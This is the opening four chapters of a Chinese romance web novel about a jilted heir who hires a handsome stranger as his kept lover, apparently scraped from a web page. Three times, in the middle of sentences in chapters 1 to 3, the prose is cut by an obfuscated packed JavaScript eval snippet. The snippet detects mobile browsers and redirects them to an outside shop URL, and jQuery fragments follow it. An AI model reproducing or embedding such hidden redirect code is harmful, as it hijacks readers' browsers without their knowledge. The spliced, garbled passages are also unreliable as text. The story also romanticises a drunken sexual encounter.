《被退婚后,我养了个老男人》 1. 第 1 章 秋日的午后,阳光明媚。 街头转角的咖啡馆中,浪漫的琴声悠扬。 奚时喝了一口咖啡,惬意地眯了眯狭长的凤眼,说:“今天孙姐给我打电话,说结婚的几套西服都制作完成了,我过两天要开学了,明后天你看哪天有空,我们去试一下?” 坐在他对面的帅气男人是他的未婚夫邵寻,二人即将在月底完婚。 奚时今年才21岁,还是一枚水灵灵的大学生,他其实并不想这么早步入婚姻的殿堂。 不过家族联姻,没有办法。 而且邵寻长得还不赖,也有事业心,在燕京一群纨绔中算是鹤立鸡群,奚时对这位未婚夫还是挺满意的。 谈论婚事本应该是开心的事情,邵寻却满脸凝重。 “不用试了,我今天把你约出来,是想跟你说一下退婚的事情。” 奚时脸上的笑容凝固了。 “邵寻,你什么意思?” “洋洋从国外回来了,三年前因为犹豫,我错过了他,这次我不想再错过了,不然我会遗憾一辈子。” 奚时气笑了他妈的。 他们是联姻,去年订婚,今年年初商定婚期,这其中有长达一年时间让他后悔,他偏偏选择在他们婚礼前夕提出退婚。 要知道,他们的婚礼邀请函都发出去了。 这让他情何以堪! 让他以后怎么在燕京这个圈子里立足?! “我知道这个决定很唐突,这一千万是我对你的补偿,也希望好聚好散,你不要再来纠缠。” 邵寻拿出一张支票,推到奚时面前。 奚时深吸一口气。 “这件事没有商量的余地了对吗?” 邵寻垂下眼眸:“抱歉。” 好,好得很。 “你口中的洋洋是汪家那位小少爷汪洋吧,我好像有听说他今天回来,看来你这一身也不是为了见我而来。” 邵寻今天打扮得非常正式,西装革履,带着昂贵的手表,黑宝石袖扣,无一处不显华贵。 他本身长得不错,这么一收拾更是帅气逼人,像一只即将开屏求偶的花孔雀。 邵寻已经和奚时说开了,也不藏着掖着,大大方方地承认。 “是,他五点的飞机,我得走了。” 说着,他站起身,冲奚时点点头,转身欲走。 “等一下。” 奚时拿起那张支票放口袋里,说:“你给了我那么多,我也有东西送给你,就当作分手礼物吧。” 明明分手是邵寻提的,支票也是他主动给的,可见奚时不哭不闹地收了一千万,还要送他分手礼,又有点不爽。 以前他跟其他人分手时,基本都一哭二闹三上吊的,哪个有奚时这么淡定。 难道从头到尾,奚时只把他们的婚约当作是一场联姻来看? 想及此,邵寻脸色又有点难看。 “你要送什么?” “我要送你……” 奚时忽然端起桌上的咖啡,朝他脸上泼去。 “吃屎啦扑街仔!” “……” 邵寻猝不及防被泼了一头一脸,棕黑的水渍顺着他的脸脖子流到他精心挑选的衣服上,狼狈至极。 而奚时,已经转身潇洒离开。 一直到坐上自己的车,奚时的肩膀才塌下来。 他跟邵寻属于联姻,不敢说爱得死去活来,但也是奔着要过一辈子去的,该有的真心一点没少付,说不难过是不可能的。 难过之下,更多的是愤怒。 他和汪洋并不认识,不过大家都是燕京这个圈子混的,消息互通。 一个月前,就有人在他面前提起过一嘴,说汪洋要回国了。 当时他还莫名其妙地问汪洋是谁,那人一脸看好戏的表情,说到时候他就知道了。 很明显,邵寻和汪洋的事情,并不是什么秘密,只有他不知道罢了。 邵寻有一万个跟他坦白的机会,甚至他得到汪洋回国的消息时,他们二人婚礼也只是在筹划中,那时候跟他坦白,他们也能体面结束。 但他没有。 他一直到汪洋的飞机要落地了,才这么轻飘飘地用一千万打发他,可见邵寻这人多傲慢自私不负责任。 真是一腔真心喂了狗啊。 奚时越想越生气,气呼呼地一拳拍在方向盘上,刚巧拍中喇叭,车子发出一声尖锐的“叭——”。 刚巧有个老头骑自行车从他车前经过,被这突如其来的声音吓得手一抖,车头一歪,直接撞在了路边一个行人身上。 奚时:“……” 离谱他妈上门都不敢这么离谱。 事情因他而起,奚时只好下车,老头一边停自行车,一边中气十足地回头冲奚时喊。 “你个瓜娃子,好端端的按喇叭做啥子,老头子的心脏病都要被你吓出来了!” 奚时刚想说什么,却在看到被撞倒那男人的脸时,一下呆住了。 英俊已经不足以形容男人的长相了,这人有着一副造物主精心雕琢的完美样貌。 他的身形修长挺拔,气质成熟内敛,即便被撞倒在地,也不慌乱狼狈,有着成熟男人阅尽千帆后的沉稳与从容。 仿佛孤松立于峭壁,雪莲长于崖尖,有孤傲孓立之美,惊心动魄之魂。 这一刻,丘比特之箭正中靶心。 奚时感觉自己恋爱了。 老头停好自行车后,又去扶男人。 “你啷个受伤了没有,我跟你说,医药费找这按喇叭的小伙子赔去,我可不会赔的。” “我赔,我全赔。”奚时走过去说。 老头眼睛一亮:“这可是你说的。” “嗯,老爷子您先去忙吧,这里我会处理。” 老头顿时眉开眼笑,大概生怕他反悔,听他这么一说蹬着自行车飞快就跑了。 这里只剩下他们两人。 奚时的心扑通扑通跳得飞快。 他按捺住疯狂萌动的春心,关切地问:“先生,你哪里受伤了?” 男人拍了两下身上的灰尘,淡淡开口:“没什么大碍,你走吧。” 奚时哪里肯走,说:“我看你膝盖那里都擦破了,真的没事吗?” 男人皱眉,低头看自己的脚,右腿膝盖确实擦破了一片,火辣辣的疼。 他活动了一下脚,说:“只是破了点皮,没事。” 擦破了皮他也可以负责的啊! 然而男人显然并不需要。 眼见男人抬脚离开,奚时头脑迅速风暴。 要不冲他要个微信吧。 万一不被拒绝怎么办,岂不直接歇菜? 可他就要走了,快快快,该怎么搭讪才能一击必中? 奚时实在不想和男人就这么相忘于人海,见男人走路有点不自然,灵机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048939|149003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一动。 “你这擦破了走路怪疼的,我送你回去吧,不然我也怪不好意思的。” 千万不要拒绝,不要拒绝啊! 老天爷大概听到了奚时的心声,男人沉默片刻,说:“那麻烦了。” 哈哈哈,他答应了。 奚时差点笑出声来。 这个点已经接近傍晚,男人大概率是回家。 知道他家在哪里,以后就可以制造偶遇了。 一来二去,不就熟了。 爱情,不也就来了。 坐上车后,男人报了个地址,奚时打开导航,朝目的地开去。 路上,奚时和男人东拉西扯地闲聊了一下,满意地套出男人目前单身这个关键信息。 但到达目的地时,奚时差点裂开。 居然是一片工地! “你在这里工作吗?”奚时忍不住问。 “嗯,”男人解开安全带,“多谢。” “不,不用谢。” 奚时内心浓浓的失望。 他看这男人通身矜贵的气质,还以为是哪家富少呢。 谁能想到,他竟在工地上班。 不是奚时瞧不起工地上班的,他们燕京的顶豪就是农民工发家,短短历经不到三代,就已经成为首富,厉害得很。 只是,他表面上是珠宝世家奚家的少爷,但他父母早亡,是他父亲的弟弟,也就是他的叔叔把他养大的。 像他们这种不上不下的家族,婚姻早已注定是联姻的工具。 比如他和邵寻,就是标准的商业联姻。 下一个联姻对象可能没有邵家那般的家世,甚至可能比奚家的家世还低,但也起码需要一定的家族底蕴,对家族有帮助才行。 总之他叔叔是肯定不会让他跟一个在工地工作的男人结婚的。 十几年的养育之恩,奚时也不可能因为一个男人,和叔叔闹翻。 胡思乱想间,男人已经拉开车门。 奚时注意到他的手白皙漂亮,像一只养尊处优的艺术品,死去的心又重新燃起希望。 来工地的不一定在这里工作,他有没有可能是来监工的甲方爸爸? 这时,男人的手机微信响了一下,他一边下车,一边拿出手机。 手机里传来不知谁的语音:“钱你不用操心,领导那边已经给你预支了……” 语音还没说完就被掐断,但男人缺钱这个关键信息已经传递得明明白白。 有哪个甲方爸爸需要领导预支工资的。 很好,悬着的心彻底死了。 “嘭”一声,男人反手关上门,好似为这场邂逅落下帷幕。 眼见他转身离去,奚时脑子一热,降下车窗。 “哎,你想不想兼职一份高薪轻松的工作?”他对男人的背影喊道。 男人脚步都不带顿一下的,直接拒绝:“不用,谢谢。” “......”好冷酷好无情好铁石心肠。 奚时不死心:“你好歹先听一下是什么工作啊。” 男人终于转过头,那双冷淡的眸子看向他。 “什么工作?” 男人的目光如有实质,奚时忍不住咽了下口水。 不过作为一个还没被社会毒打过的男大学生,奚时胆大而无知无畏。 他眼神清澈地看着男人,说:“被我包养,当我情人。” “……” 2. 第 2 章 最怕空气突然安静。 奚时被色所迷,脑子发热之下才想出这么一个馊主意,但他一点也不后悔。 毕竟这个男人实在太合他胃口了,用邵寻那渣男的话来说,错过就要遗憾一辈子。 他才21岁,和邵寻这段婚事告吹后,再联姻也是一年半载甚至更后面的事了。 在这期间,包养个男人玩玩不过分吧。 以后还可以想断就断,也不算玩弄人家感情。 至于包养费,他寄养在叔叔家,叔叔给他奚家少爷该有的体面,不过也不会给他太多钱。 好在,兜里有热乎的一千万支票。 正好男人缺钱,而他天降巨款,这不是天造地设的缘分是什么! 用渣男的钱包养男人玩,想想挺刺激呢。 只是这男人,看着不像是会为钱卖身的样子。 不过知道了他缺钱,只要有弱点,他可以慢慢磨。 男人听到他的话,脸上并没有露出被羞辱的表情。 相反,似乎还被他引起了兴趣,一直都波澜不惊的脸上露出一个兴味的表情。 “那你准备花多少钱包养我?” 已经做好男人甩袖愤怒离去的奚时难掩欣喜,脑筋急转,给出一个让人难以拒绝的惊天数字。 “一个月50万,怎么样?” 反正不是花自己的钱,不心疼。 男人闻言挑起眉毛。 “我这么值钱?” 奚时冲他暧昧一笑:“那你有没有兴趣嘛,我虽然算不上貌若潘安,但也有几分颜色,你也不会太亏。” 男人目光从他精致的脸上划过。 说几分颜色明显自谦了。 眼前的男人,有着女人都要嫉妒的姣好姿容,一双惑人的美目灵动清亮,气质干净澄澈,是个灵气十足的大美人,不知道多少男女会拜倒在他西装裤下。 男人中肯道:“我赚了。” 奚时喜意更甚。 有戏,有戏啊! 奚时并没有趁热打铁问男人愿不愿意,而是冲男人勾了勾手指。 男人眯缝了一下眼,随即走到车窗前。 奚时把一个什么东西塞进他衬衣胸前的口袋里,拍了两下,意味深长地说:“晚上9点风和斯酒店,报奚先生这个名字,不要让我失望哦。” 奚时说完就合上车窗,没给男人立刻拒绝的机会。 他表面一副熟稔老江湖游刃有余的样子,车窗刚一关上,整个人就瘫了。 他放开抓着方向盘的手,方向盘被抓的地方濡湿一片,全是他手心里的汗。 心跳也如擂鼓一般,砰砰跳个不停。 奚时深深呼出一口气,又忍不住笑了。 他长这么大一向循规蹈矩,第一次做出这么疯狂的事,竟有种说不出的畅快。 就是不知道那男人会不会来。 不来也没事,他已经知道男人的工作地点,男人选择接受就PlanA,不来就启动PlanB。 —— 这边,男人目送奚时的车离开工地,拿出刚刚奚时塞他口袋里的东西,不由得哑然失笑。 那是一片金叶子,足金实心的,分量不轻。 金叶子黄澄澄的正面印着四个字:我养你啊。 男人重新拿出手机,就见聊天框里,显示的是“对方撤回了一条消息”。 下面还有一条新消息。 【抱歉霍总,我有罪!我发错人了!】 男人略过这个令人啼笑皆非的误会,转身往里走。 刚走到大门口,一群戴着安全帽的人迎上来。 领头戴着白色安全帽的人说:“霍总,我一听说您的车抛锚了,就立刻派人去接,没想到接了个空,原来您自己过来了。” 男人淡淡“嗯”了一声,在众人的簇拥下进了工地。 可惜奚时没看到这一幕,他直接驱车去了风和斯酒店。 这种事情,奚时也是大姑娘上轿头一回,他回忆了一下认识的那些纨绔吹嘘的自己平时如何泡妞把妹,直接开了顶楼的总统套房。 他冲了个澡,坐在可以俯瞰美景的落地窗前,打开一下午没看的微信,不出意料消息如潮水般冒出来。 最热闹的是一个叫“穿着高定吃西瓜”的群。 这个群算是江市纨绔们的聚集地了,群如其名,盛产各种各样的瓜,比娱乐圈新闻头条还热闹。 奚时潜伏其中,吃瓜近两年,也终于成了产瓜人。 【这位男士好眼熟啊,怎么这么像你未婚夫@你咋不上天】 你咋不上天是奚时的微信名,这条消息后面跟着几张图片。 第一张是邵寻抱着一束硕大的红玫瑰,和一个清秀的男子相视而笑。 第二张是那男子抱着刚刚邵寻手里那束玫瑰,邵寻则伸手摸他的头,目光里是掩饰不住的浓情蜜意。 第三张,邵寻拉着男子的行李箱,和男子并肩离开机场。 三张照片,甜得发慌,狗路过都要叫一句般配。 【哪里是像,就是好么,这男的叫汪洋,可是邵大少的白月光呢。】 【汪洋当初走的时候不是说不会再回来吗,这才三年,就回来了?】 【不是,邵寻和奚时不是月底结婚吗,邀请函都发了,这是搞哪一出。】 【(捂嘴笑)三年前的旧爱而已,哪里抵得过我们燕京第一大美人奚时这新欢,@你咋不上天你说是吧。】 【@你咋不上天别潜水了,快拿出你正宫娘娘的气派来,告诉大家你们好着呢,婚礼如约进行。】 奚家家世不如邵家,奚时还没父没母,靠着叔叔的运作和跟邵寻定下婚约。 加上邵寻长得挺帅,有不少人喜欢他,他们婚事定下后,遭了挺多人的嫉妒。 所以这会儿见邵寻跟别的男人一起,这些人可不都幸灾乐祸等着看奚时笑话。 奚时都不敢想象等他们婚约取消的消息放出来,他会成为多少人下饭的笑料。 这种不负责任的臭男人就应该下油锅! 奚时不是那种闷声吃大亏的性格,他不爽,也不能让邵寻爽。 他往下翻到最新消息,看到又一张图片发出来。 【哇塞!偶遇八卦的两位男主在Silver吃烛光晚餐哎!】 奚时放大那张偷拍的图片,确实是邵寻和刚刚照片上那男子在用餐。 烛光摇曳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048940|149003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,相谈甚欢。 Silver是燕京著名的法国餐厅,情侣约会圣地,这张照片一出,几乎坐实了这两人旧情复燃,直接把群里的气氛拉到最高潮。 不少人艾特奚时,让他去捉奸。 奚时关掉聊天群,略过一些朋友或是真心或是幸灾乐祸的问候,打开一个聊天框。 【醒醒,出来赚钱了。】 那边几乎是秒回。 【我一个鲤鱼打挺闪现在你面前狗狗眼看着你说:钱来!钱来!】 神金,害得奚时笑了一下。 奚时按住说话键,跟他说了自己的要求,并从群里把邵寻和汪洋的照片保存下来发过去,让对方认脸。 那边回复:【没问题,包在我身上,保证办得漂漂亮亮!】 奚时于是等着看好戏。 半个小时后,群里刚刚发邵寻和汪洋在Silver吃饭那个人又蹦出来发消息。 【捏妈,捏妈,我刚刚看了一场震惊我三观的好戏,有关邵寻和汪洋的,哈哈哈,你们快看我发的视频!】 视频过了一会才传上来,奚时点开视频,就见到一个浑身肌肉的男人,穿着骚气的露脐马甲,紧身皮裤,手上还拎着一个女式小包包,说话自带兰花指,又娘又油,辣眼睛到了极点。 他正气势汹汹地站在邵寻和汪洋那桌前,指着邵寻的鼻子叫骂。 “好你个没良心的臭男人,昨天还在床上跟我甜言蜜语,今天就跟这男的约上了,你不是说只喜欢我这款,对清汤寡水的男人硬不起来吗?” 邵寻一脸懵:“不是哥们,你谁啊,你认错人了吧?” “你你你,邵寻你个死渣男!你都被我上过多少次了,还在这里装不认识我,你不认识我,你屁股可认识我!” 这话信息量巨大,视频里的现场吃瓜群众忍不住发出小小的哗然。 邵寻脸顿时绿了:“你别乱说,老子不认识你,小心我告你诽谤。” “好,有本事你告啊,最好让全世界都知道你被我睡了不认账。” 邵寻气得发抖:“你,你……” “无话可说了吧,臭男人,我再也不想理你了,哼!” 男人剁了两下脚,娘里娘气地“哼”了一声,捂着眼睛,哭唧唧地跑开了。 邵寻气急败坏。 “你别走,你把话说清楚,老子根本不认识你!喂!” 男人扭着腰跑得飞快,邵寻追了几步没追上,“啧”了一声,又回头跟汪洋解释自己不认识他,笑得奚时在床上打滚。 他只是让人去恶心一下邵寻,没想到这人如此敬业,演得活零活现就算了,偏偏还要说自己上了邵寻,简直不要太搞笑。 Silver的座位都是半开放式的,这场闹剧几乎能被全部食客围观到。 他都不敢想象邵寻会有多社死。 正当奚时看邵寻的笑话看得嘎嘎直乐时,门铃“叮咚叮咚”响了两声,奚时整个人顿住。 他嘱咐过酒店服务员,除了带那位很帅的先生上来,其他时候任何事情都不要来打扰他,免得他以为人来了结果是服务员,徒增失望。 所以这时候来按门铃的,十之八九是那位先生! 3. 第 3 章 男人结束工地视察,又和项目负责方的人吃了一顿便饭,坐上自家的车时已经晚上八点了。 “回去吧。”他揉着眉心对司机道。 司机说:“管家让我告诉您,夫人和白小姐来了,现在在您家里。” 男人的眼神瞬间冷了下来。 司机感觉车里温度仿佛一下冷了好几度,头皮有点麻。 “刚刚夫人还打电话给我,旁敲侧击您今天有没有应酬,喝没喝酒。” 男人冷嗤了一声。 看来他这位好母亲还没放弃让白静成为她儿媳妇的念头。 “您还要回去吗?”司机小心翼翼地问。 男人没心情回去跟她们演戏,说:“去绿野仙踪吧。” 绿野仙踪是他另一个住处,庄园式豪宅,绿化极好。 “好的。” 司机发动车子,汇入车水马龙。 男人从口袋里拿手机,一同掏出来的还有被随手放口袋里的金叶子。 他看着金叶子上古灵精怪的“我养你啊”四个字,脑海中蓦地又浮现男生那双灵动惑人的美目。 人人都因为他的身份和地位想攀上他,只有这个人倒反天罡,说要包养他。 男人嘴角勾起一抹浅浅的弧度。 “不用去绿野仙踪了,去风和斯酒店。” -- 奚时听到有人按门铃,欣喜若狂,赶紧整理了一下衣服,走到房门前。 当他看到门口监视器的屏幕上,下午那位令他心驰神往的男人伫立在他门口,心蓦地狂跳起来。 他真的来了! 奚时的嘴角比AK还难压,他努力装出一副淡定的样子,拉开门。 “你来啦,进来吧。” 说着他侧开身,让男人进来。 他之前洗了澡,身上穿着浴袍,腰间系带松松系着,勾勒出他清瘦的腰线,v型领口处,白皙的皮肤若隐若现。 又纯又欲。 既然来都来了,美色当前,奚时以为男人一进门就会抱他,然后直奔主题。 但男人似乎没意会到今晚主题一样,进门后,走到刚刚奚时坐的地方,在另一张椅子上坐下来,说:“这里风景不错。” 你看得到风景不错,就看不到人更不错嘛! 不过想想这肯定是男人第一次有机会住五星级酒店的总统套房,会被这里的奢华与美景震撼也不奇怪。 奚时也不好意思直奔主题,而且他心跳得好快啊,走路都要同手同脚了,脑子里像在放烟花一样轰鸣不止。 这时候应该干嘛? 他脑子晕晕乎乎,像喝了假酒。 啊对,酒! 奚时终于知道要干嘛了,问道:“要不喝一杯?” 男人没有拒绝。 房间里有酒柜,奚时挑了一瓶酒,拿出两个高脚杯,放在桌子上,一人倒了半杯。 两个人碰了一下杯,奚时抿了一小口,又一小口。 这男人怎么这么淡定。 好急,该怎么迅速切入正题。 早知道刚刚他就应该装出刚洗完澡的样子,腰上围一条浴巾就去开门。 这样男人看一眼就把持不住,欲罢不能,哪里还有那么多花前月下。 “你姓奚,叫什么?”男人忽然问。 “奚时,时间的时,你呢?” “景沉,景色的景,昏沉的沉。” 景沉......奚时默默重复这两个字,觉得无比好听。 “你看起来比我大,那我以后叫你哥吧。” 景沉无可无不可地“嗯”了一声。 他望着外面的万家灯火和车流汇聚成的长长灯流,放松身体靠在椅子上,露出几分慵懒的姿态来。 “为什么会想包养我?” 奚时理所当然:“因为你长得好看啊!” 景沉挑眉:“所以你看到好看的男人,就想包养?” “唔,要是有你这美色,应该吧,所以啊……” 奚时把酒杯晚小桌上一放,起身抬腿跨坐在景沉腿上,伸手抬起他的下巴。 “你要保持美色,哄我开心,才能让我一直为你花钱。” “……” 景沉失笑。 他还要说什么,奚时勾着他下巴的手收紧。 “行了,别逼逼赖赖了,我都主动坐大腿了,你到底行不行啊?” 刚刚还一脸不知所措的男生此刻像变了个人,景沉注意到他目光有点迷离,看了眼他已经空了的酒杯:“你是不是醉了?” “放屁,这点酒我能醉?” 奚时说完,手改为摸他的脸,嘿嘿笑道:“真帅,我愿意为这张脸倾家荡产。” 奚时被近距离的美颜暴击撩得意乱神迷,被酒精侵蚀的脑子顺应本能,色胆包天地低下头,吻上了景沉。 男生的唇舌柔软,带着红酒的醇香,景沉犹豫了一下,还是伸手推开他。 唇舌刚分离,奚时“啧”了一声,说:“你来都来了,就别装纯了,我又不是不付钱。” “……” “哦,我知道了,你一定是怪我没付钱。” 奚时伸手摸起放桌上的手机,打开微信扫码,阔绰地说:“来,哥给你先转10万。” 很好,哥都自称上了,看来醉得不轻。 见景沉不动,奚时就伸手从他身上摸手机,边摸还边吃豆腐。 景沉不愧是混工地的,身材精壮有力,是看着显瘦,脱衣有肉的类型。 让他摸摸有没有八块腹肌。 斯哈斯哈。 眼见奚时的手越摸越过分,美人在怀,景沉不是什么坐怀不乱的柳下惠,被他这么乱点火,呼吸也渐渐乱了起来。 他抓住男生白皙修长的咸猪手,目光沉沉:“你确定要跟我发展成这种关系?不后悔?” “你长这么好看,我没睡到你才要后悔呢,而且,这种关系怎么了!男朋友会劈腿,老公也会出轨,男人,只有躺在床上时最真实!” 奚时说完“啧”了一声,说:“我说你这人怎么婆婆妈妈的,不就是摸你两下么,跟被调戏的黄花大闺女似的,来来来,我也让你摸。” 奚时反抓住他的手,带着那只手探进自己的领口。 “呐,虽然没有强壮的胸肌,但手感还不错吧。” “……” “嘿嘿,现在我摸你胸肌,你不能拒绝了哦。” 奚时兴冲冲地伸手,还没触到景沉的衣服,被景沉打横抱起来,往套房的豪华卧室走去。 “喂,我还没摸呢,你这人不讲武德啊,放我下去。” 景沉把他放在柔软的床上,欺身压上去,抓住他不安分的手,附在他耳边说:“男人最好摸的不是胸肌,我教你摸哪里。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048941|149003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 奚时醒来时,已经是第二天上午了。 骨头仿佛散了架,身体像被十八个壮汉揍了一顿般,动一下就疼。 草,他这是遭哪个王八鳖孙暗算了?! 奚时睁开眼,望着米黄色的天花板,关于昨晚的记忆一点点回笼,脸腾一下红了。 接着,又由红转绿,再由绿转黑,比调色盘还精彩。 他一向不胜酒力,昨天本想借酒壮胆。 谁知一醉酒,直接色胆包天了。 邵寻那死扑街估计是心里装着白月光,跟他最亲密的接触也就是拥抱和亲吻而已,所以奚时并没有相关经验,昨晚还是他的第一次。 奚时之前听一个小0朋友抱怨对象不懂疼人,第一次时,小0朋友疼得要命,他对象还毛头小子一样只会冲锋陷阵,一点都不美好。 但景沉发现他是第一次后,他似乎有点失控,不过很快稳住了情绪,用百分百的耐心与毅力,把他伺候得相当舒服。 这大概就是成熟男人的忍耐与魅力吧。 但说好,又不是那么好,奚时披着浴袍坐起来,看向床边的垃圾桶。 1,2,3,4…… 四个拦精灵! 难怪昨天他昏睡过去后还感觉天地在晃,这还是个人?! 愤懑过后,奚时又忍不住嘿嘿傻笑。 不愧是工地搬砖的,耐力真棒,身材真好,八块腹肌嘎嘎猛。 感谢邵寻那死扑街的退婚之恩,不然他怎么睡得到这么极品的男人。 “傻乐什么?” 景沉腰间围着一条浴巾,从卫生间里走出来。 他刚洗完澡,头发湿漉漉的,发梢的水珠从头发低落到胸前,顺着漂亮的腹肌纹理往下滑,没入那截短短的浴巾里,令人浮想联翩。 在这一刻,秀色可餐四个字有了具体的画面。 “你真好看。” 奚时一点不吝惜自己的夸赞。 话刚落音,男人那张令他痴迷的脸骤然在眼前放大。 奚时脑子又被美色冲击得有点晕乎,心脏很没出息地剧烈跳动。 “干,干什么?” 他真的不行了。 但,美色当前,他也不是非常不行。 就在奚时胡思乱想时,听到景沉声音低哑地说:“付费项目要适可而止。” 啊?啊? 奚时还没反应过来这话什么意思,男人已经伸出手,把他随意披着的浴袍拢起来,在腰间打了个歹毒又丑陋的套结,几乎把奚时裹成一个蚕蛹。 “……” 奚时气笑了。 到底是谁不知道适可而止啊。 景沉把散落在地上的衣服捡起来穿上,奚时懒洋洋地靠在床上,看着他一粒粒系上衬衣扣子,变回禁欲冷漠的模样,问:“你还要回工地上班?” “……” 景沉眼中有一瞬间的一言难尽,随即“嗯”了一声。 奚时说:“晚上一起吃饭。” 不是询问,是祈使,也不用考虑对方有没有空,同不同意。 这不比谈个对象更有情绪价值! 作为包养对象,景沉也很识趣,说:“好。” 临走前,奚时加上了景沉的微信,看了眼自己的余额,给他转了20万。 嘿嘿,他很满意对方,所以甜头一开始要给足。 4. 第 4 章 奚时又在床上赖了一会,撑着酸痛的身体去浴室。 洗澡的时候腿都在发颤,又忍不住腹诽了一下男人的不知节制。 他先去银行把一千万支票兑现到自己账户,看到账户里多出来的一长串0,无比心安。 果然其他一切都是过眼云烟,只有金钱最靠谱。 他并不觉得收这一千万有什么不妥的,他被退婚的消息放出去,未来很长一段时间都将是他人眼中的谈资笑话,造成的精神损失不可估量,收他一点赔偿费怎么了。 不去找个微博大V爆光此事,再买个热搜,让网友网暴邵寻这狗渣男几天几夜,连累邵氏的股票也跟着大跌,已经算他仁慈了。 中午,叔叔奚锦年打电话给他,让他回去一趟,估计是商议退婚事宜。 奚时驱车回到叔叔家,他上大学后就搬出去住了,只偶尔回来。 保姆李阿姨是看着他长大的,看到他回来,笑盈盈地站在家门口迎接他。 “小时回来啦。” 李阿姨说着,压低声音,给他通气:“邵寻和那个眼睛长头顶的邵夫人都来了。” “我哥在吗?”奚时问。 他口中的哥是他叔叔的儿子奚晖,由于他爸爸结婚迟,所以叔叔的儿子比他大。 “大少这几天出差,不在。” 那可惜了。 他叔叔对待他不能说不好,但也利益至上,但他堂哥就不同了,他肯定会痛扁邵寻那傻逼一顿。 奚时走进奚家的别墅客厅,果然见到他叔叔、婶婶跟邵夫人、邵寻相对而坐。 不过最引他注目的是邵寻脸,比平时好看了不少,仔细一看,嘿,好家伙,居然是打了粉底。 他走近后忍不住多看了几眼,又被他发现了一点端倪。 邵寻的左脸,能隐约看到几个指印,也比右边高一点,像是......挨了一巴掌。 昨天邵寻昨晚那视频由于发到了穿着高定吃西瓜那个群,这个群都是一群唯恐天下不乱的纨绔,一下把视频传得沸沸扬扬,都发微博上去了,一堆营销号转发,直接被顶上了热搜。 要不是邵家用了钞能力撤热搜删词条,今天估计全国人民都知道邵寻被一个肌肉娘炮上了。 奚时看群里有个小道消息说邵家的当家人,也就是邵父大发雷霆,狠狠扇了邵寻一巴掌。 这么看来,是真的。 哈哈,死扑街,活该。 奚时掩去眼底的幸灾乐祸,礼貌打招呼:“叔,婶,林姨。” “小时回来了,过来坐吧。”婶婶招呼他。 奚时走过去,在他叔叔旁边坐下来。 邵寻见他打招呼唯独略过了自己,轻嗤了一声。 别以为他没注意到,奚时刚刚一进门,目光就黏在了他的身上。 不过是用这种小手段引起他的注意罢了。 他知道奚时爱惨了他,所以才会来今天这一趟。 也算是对他的一点点弥补吧。 奚时坐下后,邵寻的目光淡漠地扫了他一眼,却在落在他脸那一刻怔住。 他一直知道奚时好看,甚至因貌美遭人嫉妒,还有人背后偷偷叫他绣花枕头。 他看多了,觉得就是那么一回事,皮囊而已。 可不知道为什么,他觉得奚时今天好看得格外不一样,俊俏中透着一丝以前没有的迭丽,像一朵盛放的玫瑰有了甘露的滋润,整个人都有了颜色。 这种转变,似乎他在大学时,和第一任对象偷吃禁果后,从小男友身上看到过。 但怎么可能,奚时一向循规蹈矩,和他订婚后一心只有他,怎么可能会在一夜之间有其他男人。 不可能,绝对不可能。 邵夫人一脸高贵冷艳地淡淡开口:“今天我是为了两个孩子的婚事而来。” 刚刚打电话时,奚时已经跟奚锦年通气过了邵寻提退婚的事情,作为这桩婚约的获益方,奚锦年肯定不希望婚约取消。 他干笑道:“他们二人婚事在即,邀请函都发出去了,我们两家也有合作,现在取消婚约,怕是不太妥当吧。” “是啊,这让我们家小时的面子往哪里搁,”婶婶跟着附和,“而且我不信邵寻你对小时一点感情都没有,你忍心他成为整个燕京豪门圈的笑话吗?” 邵寻态度凉薄:“我跟他只是商业联姻,没有什么感情可言。” 奚时嘴角勾起一抹嘲讽的弧度,好一个没有任何感情可言。 看来,他应该感谢汪洋在他们婚前回来,才没踏进这座坟墓。 不然看着自己的老公婚内出轨,那才叫膈应恶心。 婶婶被邵寻噎得有点气,奚锦年拍了拍他的手背,看向邵夫人。 “所以,今天你们是来商议退婚的事情?” “现在退婚确实不妥,我亲自登门,是要和你们协商一个两全其美的解决办法。” 原本以为这桩婚事黄了的奚锦年如枯木逢春,眼睛一亮。 “什么解决办法?” “我家邵寻他心里有其他人,这事没办法,俗话说,强扭的瓜不甜,不过为了不影响我们两家的合作,也是为了让奚时面子上好看,我的意思是,婚礼照办,只是协议结婚,有名无实,等过个三五年找个由头离婚,彼此再找不耽误,奚总意下如何?” 奚锦年的眼睛更亮了,禁不住拍大腿。 “这办法不错,小时今年才21岁,就算你们在一起三年五载的,最多也才26岁,不耽误终身大事。” 婶婶也不住点头。 邵夫人早已料到他们肯定会毫不犹豫地答应,毕竟这门婚事,奚家是高攀,生怕婚约解除,攀不上他们邵家这条船。 